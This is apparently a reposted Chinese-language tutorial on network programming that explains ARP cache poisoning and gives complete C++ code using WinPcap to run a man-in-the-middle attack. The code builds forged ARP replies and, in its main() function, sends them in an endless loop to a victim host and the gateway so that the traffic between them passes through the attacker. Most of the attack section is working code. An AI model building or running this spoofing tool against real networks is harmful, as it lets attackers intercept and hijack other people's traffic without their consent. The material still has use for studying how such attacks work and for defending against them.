【網絡編程4】網絡編程基礎-ARP響應(ARP欺騙之中間人攻擊)


arp欺騙->arp響應

ARP 緩存中毒(ARP欺騙)

arp傳送原理在於主機發送信息時將包含目標IP地址的ARP請求廣播到網絡上的所有主機,並接收返回消息,以此確定目標的物理地址;收到返回消息后將該IP地址和物理地址存入本機ARP緩存中並保留一定時間。

攻擊者可以向某一主機發送偽ARP應答報文,使其發送的信息無法到達預期的主機或到達錯誤的主機,這就構成了一個ARP欺騙。

arp欺騙之所以有效,是因為特意構造的ARP數據包使兩台主機相信它們是在互相通信,而實際上它們是在與一個中間轉發數據包的第三方通信。

C++編程中實現操作arp數據包發送給被欺者主機和網關的操作可以通過winpacap這個第三方庫對數據包構造和發送,可以使被欺騙主機誤以為自己是在與網關通信,網關誤以為自己是在跟被欺騙主機通信,而攻擊者可以從中截獲被欺騙主機的數據,實現中間人攻擊。

Winpcap簡介

winpcap(windows packet capture)是windows平台下一個免費,公共的網絡訪問系統。開發winpcap這個項目的目的在於為win32應用程序提供訪問網絡底層的能力。它用於windows系統下的直接的網絡編程。

Winpcap 功能

  • 捕獲原始數據包,包括在共享網絡上各主機發送/接收的以及相互之間交換的數據包;

  • 在數據包發往應用程序之前,按照自定義的規則將某些特殊的數據包過濾掉;

  • 在網絡上發送原始的數據包;

  • 收集網絡通信過程中的統計信息。

VS2015配置Winpcap

使用之前需要在VS2015配置項目的依賴,否則很多東西跑不起來。

1、添加包含與庫目錄

在庫目錄中選擇安裝好的WinCap目錄下的Lib目錄:

image

選擇VC++目錄,在包含目錄中添加安裝好的WinCap目錄下的include目錄:
在庫目錄中選擇安裝好的WinCap目錄下的Lib目錄:

image

2 附加依賴項

在連接器下選擇輸入,在附加依賴項中添加ws2_32.lib、wpcap.lib、Packet.lib:

image

3 預處理器定義

項目右鍵,選擇屬性選擇C/C++->預處理器,在預處理器定義中添加WPCAP和HAVE_REMOTE,如圖:

image

編程實例代碼

1 首先獲取網卡列表

做arp發送數據包前首先要確定在哪個網卡適配器上做相關的操作;

初始化函數中涉及到以下幾個函數的使用,以下是幾個函數的功能和說明:

  • int pcap_findalldevs(pcap_if_t **, char *)

說明:用來獲得網卡的列表

參數: 指向pcap_if_t**類型的列表的指針的指針;

char型指針,當打開列表錯誤時返回錯誤信息

返回值: 為int型,當顯示列表失敗時返回-1

pcap_if_t 是pcap_if 重命名而來:

typedef struct pcap_if pcap_if_t;

pcap_if結構體如下:

struct pcap_if
{
	struct pcap_if *next; 		/*多個網卡時使用來顯示各個網卡的信息*/
	char *name;			/* name to hand to "pcap_open_live()" */
	char *description; 		/* textual description of interface, or NULL 就是網卡的型號、名字等*/
	struct pcap_addr *addresses;	/*pcap_addr 結構體 */
 	bpf_u_int32 flags; 		/* PCAP_IF_ interface flags 接口標志*/
};

pcap_addr 結構體如下:

struct pcap_addr
{
	struct pcap_addr *next;
	struct sockaddr *addr; 		/* address */
	struct sockaddr *netmask; 		/* netmask for that address 子網掩碼*/
	struct sockaddr *broadaddr; 	/* broadcast address for that address 廣播地址*/
	struct sockaddr *dstaddr; 		/* P2P destination address for that address P2P目的地址*/
};
  • pcap_t *pcap_open_live(const char * device, int snaplen, int promisc, int to_ms, char ebuf *)

說明:被用來得到一個包抓取得描述符

參數:
device是一個指出要抓取的網絡設備的字符串。

snaplen指明最大可抓取的字節長度。

promisc置位表明該接口要被設置成混雜模式。

to_ms以毫秒為單位設置超時時間。當在超時時間內網卡上沒有數據到來時對網卡的讀操作將返回(如 pcap_dispatch() or pcap_next_ex()等函數)。

ebuf被用來存放當pcap_open_live()調用失敗時,返回的錯誤字符串。

返回值: pcap_t型的指針,供pcap_dispatch() or
pcap_next_ex()等函數調用。

pcap_t的結構體:

struct pcap {
	#ifdef WIN32
		ADAPTER *adapter;
		LPPACKET Packet;
		int timeout;
		int nonblock;
	#else
		int fd;
	#endif
	int snapshot;
	int linktype;
	int tzoff; /* timezone offset */
	int offset; /* offset for proper alignment */
	struct pcap_sf sf;
	struct pcap_md md;
	int bufsize; /* Read buffer. */
	u_char *buffer;
	u_char *bp;
	int cc; //Place holder for pcap_next().
	u_char *pkt; //Placeholder for filter code if bpf not in kernel.
	struct bpf_program fcode;
	char errbuf[PCAP_ERRBUF_SIZE + 1];
	int dlt_count;
	int *dlt_list;
	#ifdef REMOTE
	/*! \brief '1' if we're the network client; needed by several functions (like pcap_setfilter() ) to know if
	they have to use the socket or they have to open the local adapter. */
		int rmt_clientside;
		SOCKET rmt_sockctrl; //!< socket ID of the socket used for the control connection
		SOCKET rmt_sockdata; //!< socket ID of the socket used for the data connection
		pthread_t rmt_threaddata; //!< handle to the receiving thread, we need to kill it in case of 'pcap_clos()'
		int rmt_flags; //!< we have to save flags, since they are passed by the pcap_open_live(), but they are used by the pcap_start capture()
		int rmt_capstarted; //!< 'true' if the capture is already started (needed to knoe if we have to call the pcap_startcapture()
		struct pcap_pkthdr pcap_header; //!< In Linux, you have to copy the packet headers another time before giving them to the user
	#endif
};
  • void pcap_freealldevs(pcap_if_t *)

說明:與int pcap_findalldevs(pcap_if_t **, char *)配套使用,當不再需要網卡列表時,用此函數free釋放空間
參數:打開網卡列表時申請的pcap_if_t型的指針,語法如下:

pcap_freealldevs(alldevs);
  • pcap_geterr()

返回最后一次pcap庫錯誤的文本信息

獲取設備名稱

獲得網卡接口。在普通的SOCKET編程中,對雙網卡編程是不行的。即使當主機為雙網卡時,也需要分別獲得兩張網卡各自的描述結構及地址,然后分別進行操作。


//獲取網卡列表
pcap_t * init()
{
	pcap_if_t *alldevs;
	pcap_if_t *d;
	int inum;
	int i = 0;         //網卡數量
	pcap_t *adhandle;
	char errbuf[PCAP_ERRBUF_SIZE];

	/* Retrieve the device list */
	//獲取當前網卡列表
	if (pcap_findalldevs(&alldevs, errbuf) == -1) 
	{
		fprintf(stderr, "Error in pcap_findalldevs: %s\n",errbuf);
		exit(1);
	}
	//打印網卡的列表
	for (d = alldevs; d; d= d->next)
	{
		printf("%d. %s",++i,d->name);
		//如果有網卡就打印出來
		if (d->description)
		{
			printf("(%s)\n ",d->description);
		}
		else 
		{
			printf(" (No description available)\n ");
		}

	}
	
	if (i==0)
	{
		printf("\nNo interfaces found! Make sure WinPcap is installed.\n");
		return 0;
	}
	printf("Enter the interface number (1-%d):", i);
	scanf("%d", &inum);


	if (inum < 1 || inum > i)
	{
		printf("\nInterface number out of range.\n");
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return 0;
	}

	//跳轉到所選擇的適配器
	for (d = alldevs , i = 0; i<inum - 1 ; d = d->next,i++)

    //打開所選的網卡適配器
	if ((adhandle = pcap_open_live(d->name,   //適配器的名稱
		65535,                                //捕獲的數據包的部分。
		                                      //65535是捕獲所有流經的數據包,所有的數據包通過都產生端口
		1,
		1000,                                 //讀取超時時間
		errbuf                                //錯誤緩存
		))
		== NULL)
	{
		fprintf(stderr, "\nUnable to open the adapter. %s is not supported by WinPcap\n", d->name);
		/* Free the device list */
		pcap_freealldevs(alldevs);
		return 0;
	}

	printf("\nlistening on %s...\n", d->description);

	/* At this point, we don't need any more the device list. Free it */
	//當監控某個網卡適配器后,就釋放其他的,因為用不到了
	pcap_freealldevs(alldevs);

	return adhandle;

}

定義數據結構體

根據ARP協議中的數據包寫結構體,用於存放arp數據包的信息;


//作用:調整結構體的邊界對齊,讓其以一個字節對齊;
#pragma pack(push, 1)  //使結構體按1字節方式對齊


//以太網頭部(14字節)
#define EPT_IP 0x0800       // eh_type: IP 
#define EPT_ARP 0x0806      // eh_type: ARP 
#define EPT_RARP 0x8035     // eh_type: RARP 
typedef struct eh_hdr
{
	UCHAR eh_dst[6];        // 接收方MAC地址 
	UCHAR eh_src[6];        // 發送方MAC地址 
	USHORT eh_type;         // 上層協議類型 
}EH_HEADR, *P_EH_HEADR;

//arp應答/請求(28字節)
#define ARP_HARDWARE 0x0001  // arp_hrd:以太網
#define ARP_REQUEST 0x0001   // arp_op: 請求 request 
#define ARP_REPLY 0x0002     // arp_op: 應答 reply 
typedef struct arp_hdr
{
	USHORT arp_hrd;          // 硬件類型 
	USHORT arp_pro;          // 協議類型 
	UCHAR  arp_hln;          // 硬件(MAC)地址長度 
	UCHAR  arp_pln;          // 協議(IP )地址長度 
	USHORT arp_op;           // 包類型:請求、應答
	UCHAR  arp_sha[6];       // 發送發硬件地址 (應答時,此處可欺騙)
	ULONG  arp_spa;          // 發送方協議地址 (應答時,此處可欺騙)
	UCHAR  arp_tha[6];       // 接收方硬件地址 (請求時,此處無用)
	ULONG  arp_tpa;          // 接收方協議地址 
}ARP_HEADR, *P_ARP_HEADR;


//ARP協議棧
typedef struct arp_Packet
{
	EH_HEADR ehhdr;
	ARP_HEADR arphdr;
} ARP_PACKET, *P_ARP_PACKET;


初始化arp數據包信息

函數名稱: makeArpPacket
函數功能: 初始化攻擊者與被攻擊者的數據包信息

參數列表:

ARP_PACKET & ARPPacket:

char * srcMac: 攻擊者MAC

char * srcIP: 攻擊者IP

char * dstMac: 被欺騙機器的MAC地址

char * dstIP 被欺騙機器的IP

返回值: void

makeArpPacket()函數主要的功能是為了讓攻擊者IP、MAC的處理代碼能與被欺騙主機的代碼定義數據結構然后復用代碼,減少代碼量。


void makeArpPacket(ARP_PACKET &ARPPacket,char * srcMac, char * srcIP, char * dstMac, char * dstIP)
{
    UCHAR MacAddr[6] = { 0 };

    //以太網頭
    ChangeMacAddr(dstMac, ARPPacket.ehhdr.eh_dst);   //目的MAC地址
    ChangeMacAddr(srcMac, ARPPacket.ehhdr.eh_src);   //源MAC地址。
    ARPPacket.ehhdr.eh_type = htons(EPT_ARP);        //數據類型ARP請求或應答

    //ARP頭                                     
    ARPPacket.arphdr.arp_hrd = htons(ARP_HARDWARE);  //硬件地址為0x0001表示以太網地址
    ARPPacket.arphdr.arp_pro = htons(EPT_IP);        //協議類型字段為0x0800表示IP地址
    ARPPacket.arphdr.arp_hln = 6;                    //硬件地址長度和協議地址長度分別指出硬件地址和協議地址的長度,
    ARPPacket.arphdr.arp_pln = 4;                    //以字節為單位。對於以太網上IP地址的ARP請求或應答來說,它們的值分別為6和4。
    ARPPacket.arphdr.arp_op = htons(ARP_REPLY);      //ARP請求值為1,ARP應答值為2,RARP請求值為3,RARP應答值為4
    ChangeMacAddr(srcMac, ARPPacket.arphdr.arp_sha); //發送方 源MAC地址(欺騙的MAC地址)
    ARPPacket.arphdr.arp_spa = inet_addr(srcIP);     //發送方 源IP地址 (欺騙的MAC地址)
    ChangeMacAddr(dstMac, ARPPacket.arphdr.arp_tha); //目標的MAC地址 
    ARPPacket.arphdr.arp_tpa = inet_addr(dstIP);     //目標的IP地址  
}

將MAC地址轉換十六進制

void ChangeMacAddr(char *p, UCHAR a[])      //把輸入的12字節的MAC字符串,轉變為6字節的16進制MAC地址
{
    char* p1 = NULL;
    int i = 0;
    int high, low;
    char temp[1];
    for (i = 0; i < 6; i++)
    {
        p1 = p + 1;
        switch (*p1) //計算低位的16進進制
        {
        case 'A': low = 10;        break;
        case 'B': low = 11;        break;
        case 'C': low = 12;        break;
        case 'D': low = 13;        break;
        case 'E': low = 14;        break;
        case 'F': low = 15;        break;
        default: temp[0] = *p1;
            low = atoi(temp); //如果為數字就直接轉變成對應的數值
        }

        switch (*p) //計算高位的16進制
        {
        case 'A': high = 10;       break;
        case 'B': high = 11;       break;
        case 'C': high = 12;       break;
        case 'D': high = 13;       break;
        case 'E': high = 14;       break;
        case 'F': high = 15;       break;
        default: temp[0] = *p;
            high = atoi(temp); //如果為數字就直接轉變成對應的數值
        }
        p += 2; //指針指向下一個X(高)X(低)字符串

        a[i] = high * 16 + low; //求和得16進制值
    }
}

發送數據包

涉及到發送arp數據包的函數;

  • int pcap_sendpacket(pcap_t *p, u_char *buf, int size)

說明:手工發送一個數據包了。這個函數需要的參數:一個裝有要發送數據的緩沖區,要發送的長度,和一個適配器。注意緩沖區中的數據將不被內核協議處理,只是作為最原始的數據流被發送,所以我們必須填充好正確的協議頭以便正確的將數據發送。

參數:

p是打開網卡時返回的網卡指針

buf是發送數據包的內容緩沖區首地址

size是發送數據包的大小

void sendArpPacket(pcap_t * fp, ARP_PACKET &ARPPacket)
{
    /* Send down the packet */
    if (pcap_sendpacket(fp,	            // Adapter
        (const u_char *)&ARPPacket,		// buffer with the packet
        sizeof(ARPPacket)		        // size
        ) != 0)
    {
        fprintf(stderr, "\nError sending the packet: %s\n", pcap_geterr(fp));
        return;
    }

}

利用WinPcap,分別向被欺騙主機和網關發送APR請求包,達到同時欺騙目標主機和網關的目的;讓所有目標主機和網關之間的數據都會被我們劫持。

main()函數代碼

  • void pcap_close ( pcap_t * p )

關閉連接和釋放資源的函數

主要的代碼

int main(int argc, char* argv[])
{     
    
    //1.初始化網絡環境
    pcap_t * adhandle = init();

    //2.填充數據包
    ARP_PACKET ARPPacket_A = { 0 }; //arp包 欺騙目標
    ARP_PACKET ARPPacket_B = { 0 }; //arp包 欺騙網關
    
    //00105CAD72E3 這個mac地址是攻擊者的地址
    
    //欺騙受害者,我是網關
    makeArpPacket(ARPPacket_A, "00105CAD72E3", "192.168.1.1"  , "00055DE80FA3", "192.168.1.31");
    //欺騙網關,我是受害者
    makeArpPacket(ARPPacket_B, "00105CAD72E3", "192.168.1.31", "000C29019827", "192.168.1.1");  


    while (true)
    {
        //3.發送數據包
        sendArpPacket(adhandle, ARPPacket_A);
        sendArpPacket(adhandle, ARPPacket_B);
        printf("send OK ! \n");
        Sleep(3000);
    }

    pcap_close(adhandle);
    return 0;
}

參考連接:

WinpCap的詳解

http://www.cnblogs.com/yingfang18/category/270376.html

WinPcap 模塊 中文手冊

http://www.ferrisxu.com/WinPcap/html/modules.html

winpcap編程函數介紹

http://www.voidcn.com/blog/xkjcf/article/p-5823189.html

基於WinPcap的ARP欺騙

http://hognfeiyu.me/2016/01/12/arp-attack/

arp 欺騙的技術原理及應用<首發於黑客防線2003年11期>

http://www.cppblog.com/mejy/articles/32901.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM